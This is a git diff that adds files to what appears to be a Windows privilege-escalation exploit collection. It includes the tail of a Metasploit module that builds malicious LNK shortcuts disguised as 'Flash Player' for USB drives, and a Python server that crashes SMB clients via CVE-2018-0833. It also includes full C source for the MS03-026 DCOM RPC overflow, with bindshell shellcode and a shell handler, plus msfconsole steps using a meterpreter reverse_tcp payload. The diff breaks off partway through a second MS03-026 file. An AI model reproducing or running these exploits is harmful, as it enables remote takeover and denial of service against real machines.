"#{rand_text_alpha(16)}_#{i}.lnk") + print_status("#{lnk_path} create, copy to the USB drive if drive letter is #{i}") + end + end + + def generate_link(path) + path << "\x00" + display_name = "Flash Player\x00" # LNK Display Name + comment = "\x00" + + # Control Panel Applet ItemID with our DLL + cpl_applet = [ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00 + ].pack('C*') + cpl_applet << [path.length].pack('v') + cpl_applet << [display_name.length].pack('v') + cpl_applet << path.unpack('C*').pack('v*') + cpl_applet << display_name.unpack('C*').pack('v*') + cpl_applet << comment.unpack('C*').pack('v*') + + # LinkHeader + ret = [ + 0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C + 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046 + 0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode) + 0x00, 0x00, 0x00, 0x00, # FileAttributes + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime + 0x00, 0x00, 0x00, 0x00, # FileSize + 0x00, 0x00, 0x00, 0x00, # IconIndex + 0x00, 0x00, 0x00, 0x00, # ShowCommand + 0x00, 0x00, # HotKey + 0x00, 0x00, # Reserved1 + 0x00, 0x00, 0x00, 0x00, # Reserved2 + 0x00, 0x00, 0x00, 0x00 # Reserved3 + ].pack('C*') + + # IDList + idlist_data = '' + idlist_data << [0x12 + 2].pack('v') # ItemIDSize + idlist_data << [ + # This PC + 0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30, + 0x30, 0x9d + ].pack('C*') + idlist_data << [0x12 + 2].pack('v') # ItemIDSize + idlist_data << [ + # All Control Panel Items + 0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, + 0x30, 0x9d + ].pack('C*') + idlist_data << [cpl_applet.length + 2].pack('v') + idlist_data << cpl_applet + idlist_data << [0x00].pack('v') # TerminalID + + # LinkTargetIDList + ret << [idlist_data.length].pack('v') # IDListSize + ret << idlist_data + + # ExtraData + # SpecialFolderDataBlock + ret << [ + 0x10, 0x00, 0x00, 0x00, # BlockSize + 0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005 + 0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel) + 0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList + ].pack('C*') + # TerminalBlock + ret << [0x00, 0x00, 0x00, 0x00].pack('V') + ret + end + + # Store the file in the MSF local directory (eg, /root/.msf4/local/) + def store_file(data, filename) + ltype = "exploit.fileformat.#{self.shortname}" + + if ! ::File.directory?(Msf::Config.local_directory) + FileUtils.mkdir_p(Msf::Config.local_directory) + end + + if filename and not filename.empty? + if filename =~ /(.*)\.(.*)/ + ext = $2 + fname = $1 + else + fname = filename + end + else + fname = "local_#{Time.now.utc.to_i}" + end + + fname = ::File.split(fname).last + + fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') + fname << ".#{ext}" + + path = File.join("#{Msf::Config.local_directory}/", fname) + full_path = ::File.expand_path(path) + File.open(full_path, "wb") { |fd| fd.write(data) } + + full_path.dup + end +end \ No newline at end of file diff --git a/97-Windows提权/CVE-2018-0833/README.md b/97-Windows提权/CVE-2018-0833/README.md new file mode 100644 index 0000000..59011c1 --- /dev/null +++ b/97-Windows提权/CVE-2018-0833/README.md @@ -0,0 +1,19 @@ +# SMBv3 Null Pointer Dereference Denial of Service + +## Description + +A server information block (SMB) is a network file sharing protocol that allows applications and end users to access file resources from a remote file server. The crash occurred in the module "mrxsmb". This is a redirector of a Microsoft server message block (SMB). Windows 8.1 and Windows server 2012 R2 the vulnerability in Windows 8.1 (x86) on execution, send a carefully constructed data package, because it wants to address from the 0x00000030 memory read a protected (empty page protection) value, the value in the protected memory space will cause the kernel the exception handling, forcing the machine restart cause denial of service. + +## Usage +``` +root@xxoo:/# python poc.py +``` + +![exploit](https://raw.githubusercontent.com/iBearcat/CVE-2018-0833/master/exploit.gif) + +## Vulnerability reference: + +* [smbv3 null pointer dereference vulnerability](https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability) +* [CVE-2018-0833](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0833) +* [exploit-db](https://www.exploit-db.com/exploits/44189/) +* [cnvd](http://www.cnvd.org.cn/flaw/show/CNVD-2018-05738) diff --git a/97-Windows提权/CVE-2018-0833/exploit.gif b/97-Windows提权/CVE-2018-0833/exploit.gif new file mode 100644 index 0000000..e0200de Binary files /dev/null and b/97-Windows提权/CVE-2018-0833/exploit.gif differ diff --git a/97-Windows提权/CVE-2018-0833/poc.py b/97-Windows提权/CVE-2018-0833/poc.py new file mode 100644 index 0000000..c17c986 --- /dev/null +++ b/97-Windows提权/CVE-2018-0833/poc.py @@ -0,0 +1,22 @@ +# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service +# Date: 26/02/2018 +# Exploit Author: Nabeel Ahmed +# Version: SMBv3 +# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64) +# CVE : CVE-2018-0833 + +import SocketServer +from binascii import unhexlify +payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141' +class byebye(SocketServer.BaseRequestHandler): + def handle(self): + try: + print "From:", self.client_address + print "[*]Sending Payload..." + self.request.send(unhexlify(payload)) + except Exception: + print "BSoD Triggered on", self.client_address + pass +SocketServer.TCPServer.allow_reuse_address = 1 +launch = SocketServer.TCPServer(('', 445),byebye) +launch.serve_forever() \ No newline at end of file diff --git a/97-Windows提权/CVE-2018-8120/1.jpg b/97-Windows提权/CVE-2018-8120/1.jpg new file mode 100644 index 0000000..f655336 Binary files /dev/null and b/97-Windows提权/CVE-2018-8120/1.jpg differ diff --git a/97-Windows提权/CVE-2018-8120/2.jpg b/97-Windows提权/CVE-2018-8120/2.jpg new file mode 100644 index 0000000..92c7bc2 Binary files /dev/null and b/97-Windows提权/CVE-2018-8120/2.jpg differ diff --git a/97-Windows提权/CVE-2018-8120/README.md b/97-Windows提权/CVE-2018-8120/README.md new file mode 100644 index 0000000..51880f7 --- /dev/null +++ b/97-Windows提权/CVE-2018-8120/README.md @@ -0,0 +1,20 @@ +# Privilege escalation + +## Description + +``` +An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system. The update addresses this vulnerability by correcting how Win32k handles objects in memory. affects Microsoft Windows 7 SP1,Windows Server 2008 SP2,Windows Server 2008 R2 SP1. +``` + +## Usage + +![exploit](https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120/1.jpg?raw=true) + +### webshell + +![exploit](https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120/2.jpg?raw=true) + +## Vulnerability reference + +* [CVE-2018-8120](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8120) +* [patch](https://portal.msrc.microsoft.com/en-US/eula) diff --git a/97-Windows提权/CVE-2018-8120/x64.exe b/97-Windows提权/CVE-2018-8120/x64.exe new file mode 100644 index 0000000..a92cceb Binary files /dev/null and b/97-Windows提权/CVE-2018-8120/x64.exe differ diff --git a/97-Windows提权/CVE-2018-8120/x86.exe b/97-Windows提权/CVE-2018-8120/x86.exe new file mode 100644 index 0000000..b7b47ad Binary files /dev/null and b/97-Windows提权/CVE-2018-8120/x86.exe differ diff --git a/97-Windows提权/MS03-026/66.c b/97-Windows提权/MS03-026/66.c new file mode 100644 index 0000000..6e41217 --- /dev/null +++ b/97-Windows提权/MS03-026/66.c @@ -0,0 +1,350 @@ +/* + DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code + + Written by H D Moore + + - Usage: ./dcom + - Targets: + - 0 Windows 2000 SP0 (english) + - 1 Windows 2000 SP1 (english) + - 2 Windows 2000 SP2 (english) + - 3 Windows 2000 SP3 (english) + - 4 Windows 2000 SP4 (english) + - 5 Windows XP SP0 (english) + - 6 Windows XP SP1 (english) + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +unsigned char bindstr[]={ +0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, +0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, +0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, +0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, +0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; + +unsigned char request1[]={ +0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 +,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 +,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 +,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E +,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D +,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 +,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 +,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 +,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 +,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 +,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 +,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 +,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 +,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 +,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 +,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 +,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF +,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 +,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 +,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 +,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 +,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 +,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 +,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 +,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 +,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E +,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 +,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 +,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 +,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 +,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 +,0x00,0x00,0x00,0x00,0x00,0x00}; + +unsigned char request2[]={ +0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 +,0x00,0x00,0x5C,0x00,0x5C,0x00}; + +unsigned char request3[]={ +0x5C,0x00 +,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 +,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 +,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 +,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; + + + +unsigned char *targets [] = + { + "Windows 2000 SP0 (english)", + "Windows 2000 SP1 (english)", + "Windows 2000 SP2 (english)", + "Windows 2000 SP3 (english)", + "Windows 2000 SP4 (english)", + "Windows XP SP0 (english)", + "Windows XP SP1 (english)", + NULL + }; + +unsigned long offsets [] = + { + 0x77e81674, + 0x77e829ec, + 0x77e824b5, + 0x77e8367a, + 0x77f92a9b, + 0x77e9afe3, + 0x77e626ba, + }; + +unsigned char sc[]= + "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" + "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" + "\x46\x00\x58\x00\x46\x00\x58\x00" + + "\xff\xff\xff\xff" /* return address */ + + "\xcc\xe0\xfd\x7f" /* primary thread data block */ + "\xcc\xe0\xfd\x7f" /* primary thread data block */ + + /* port 4444 bindshell */ + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" + "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" + "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" + "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" + "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" + "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" + "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" + "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81" + "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" + "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" + "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" + "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" + "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" + "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" + "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" + "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" + "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" + "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" + "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" + "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" + "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" + "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" + "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" + "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" + "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" + "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" + "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" + "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" + "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" + "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" + "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" + "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"; + + + +unsigned char request4[]={ +0x01,0x10 +,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 +,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C +,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 +}; + + +/* ripped from TESO code */ +void shell (int sock) +{ + int l; + char buf[512]; + fd_set rfds; + + + while (1) { + FD_SET (0, &rfds); + FD_SET (sock, &rfds); + + select (sock + 1, &rfds, NULL, NULL, NULL); + if (FD_ISSET (0, &rfds)) { + l = read (0, buf, sizeof (buf)); + if (l <= 0) { + printf("\n - Connection closed by local user\n"); + exit (EXIT_FAILURE); + } + write (sock, buf, l); + } + + if (FD_ISSET (sock, &rfds)) { + l = read (sock, buf, sizeof (buf)); + if (l == 0) { + printf ("\n - Connection closed by remote host.\n"); + exit (EXIT_FAILURE); + } else if (l < 0) { + printf ("\n - Read failure\n"); + exit (EXIT_FAILURE); + } + write (1, buf, l); + } + } +} + + +int main(int argc, char **argv) +{ + + int sock; + int len,len1; + unsigned int target_id; + unsigned long ret; + struct sockaddr_in target_ip; + unsigned short port = 135; + unsigned char buf1[0x1000]; + unsigned char buf2[0x1000]; + + printf("---------------------------------------------------------\n"); + printf("- Remote DCOM RPC Buffer Overflow Exploit\n"); + printf("- Original code by FlashSky and Benjurry\n"); + printf("- Rewritten by HDM \n"); + + + if(argc<3) + { + printf("- Usage: %s \n", argv[0]); + printf("- Targets:\n"); + for (len=0; targets[len] != NULL; len++) + { + printf("- %d\t%s\n", len, targets[len]); + } + printf("\n"); + exit(1); + } + + /* yeah, get over it :) */ + target_id = atoi(argv[1]); + ret = offsets[target_id]; + + printf("- Using return address of 0x%.8x\n", ret); + + memcpy(sc+36, (unsigned char *) &ret, 4); + + target_ip.sin_family = AF_INET; + target_ip.sin_addr.s_addr = inet_addr(argv[2]); + target_ip.sin_port = htons(port); + + if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) + { + perror("- Socket"); + return(0); + } + + if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0) + { + perror("- Connect"); + return(0); + } + + len=sizeof(sc); + memcpy(buf2,request1,sizeof(request1)); + len1=sizeof(request1); + + *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; + *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; + + memcpy(buf2+len1,request2,sizeof(request2)); + len1=len1+sizeof(request2); + memcpy(buf2+len1,sc,sizeof(sc)); + len1=len1+sizeof(sc); + memcpy(buf2+len1,request3,sizeof(request3)); + len1=len1+sizeof(request3); + memcpy(buf2+len1,request4,sizeof(request4)); + len1=len1+sizeof(request4); + + *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc; + + + *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; + *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc; + *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc; + *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc; + *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc; + *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc; + *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc; + + if (send(sock,bindstr,sizeof(bindstr),0)== -1) + { + perror("- Send"); + return(0); + } + len=recv(sock, buf1, 1000, 0); + + if (send(sock,buf2,len1,0)== -1) + { + perror("- Send"); + return(0); + } + close(sock); + sleep(1); + + target_ip.sin_family = AF_INET; + target_ip.sin_addr.s_addr = inet_addr(argv[2]); + target_ip.sin_port = htons(4444); + + if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1) + { + perror("- Socket"); + return(0); + } + + if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0) + { + printf("- Exploit appeared to have failed.\n"); + return(0); + } + + printf("- Dropping to System Shell...\n\n"); + + shell(sock); + + return(0); +} + +// milw0rm.com [2003-07-26] diff --git a/97-Windows提权/MS03-026/MS03-026.exe b/97-Windows提权/MS03-026/MS03-026.exe new file mode 100644 index 0000000..2660e46 Binary files /dev/null and b/97-Windows提权/MS03-026/MS03-026.exe differ diff --git a/97-Windows提权/MS03-026/README.md b/97-Windows提权/MS03-026/README.md new file mode 100644 index 0000000..2d4c9b1 --- /dev/null +++ b/97-Windows提权/MS03-026/README.md @@ -0,0 +1,22 @@ +# MS03-026 + +MS03-026 + +Vulnerability reference: + * [MS03-026](https://technet.microsoft.com/library/security/ms03-026) + +## msf Usage +* [YouTube-ms03 026](https://www.youtube.com/watch?v=OZwQo8kqdBM) +``` +msf > search ms03_026 +msf > use exploit/windows/dcerpc/ms03_026_dcom +msf exploit(ms03_026_dcom) > set RHOST 192.168.229.129 +msf exploit(ms03_026_dcom) > set LHOST 192.168.229.35 +msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/reverse_tcp +msf exploit(ms03_026_dcom) > exploit + +meterpreter > execute -f cmd.exe -c -1 +``` + +## References +[Microsoft Windows DCOM RPC接口长主机名远程缓冲区溢出漏洞](http://blog.chinaunix.net/uid-286494-id-2134482.html) \ No newline at end of file diff --git a/97-Windows提权/MS03-026/ms03-026.c b/97-Windows提权/MS03-026/ms03-026.c new file mode 100644 index 0000000..b3139ec --- /dev/null +++ b/97-Windows提权/MS03-026/ms03-026.c @@ -0,0 +1,291 @@ +#include +#include +#include +#include +#include +#include + +#pragma comment(lib,"ws2_32") + +unsigned char bindstr[]={ +0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 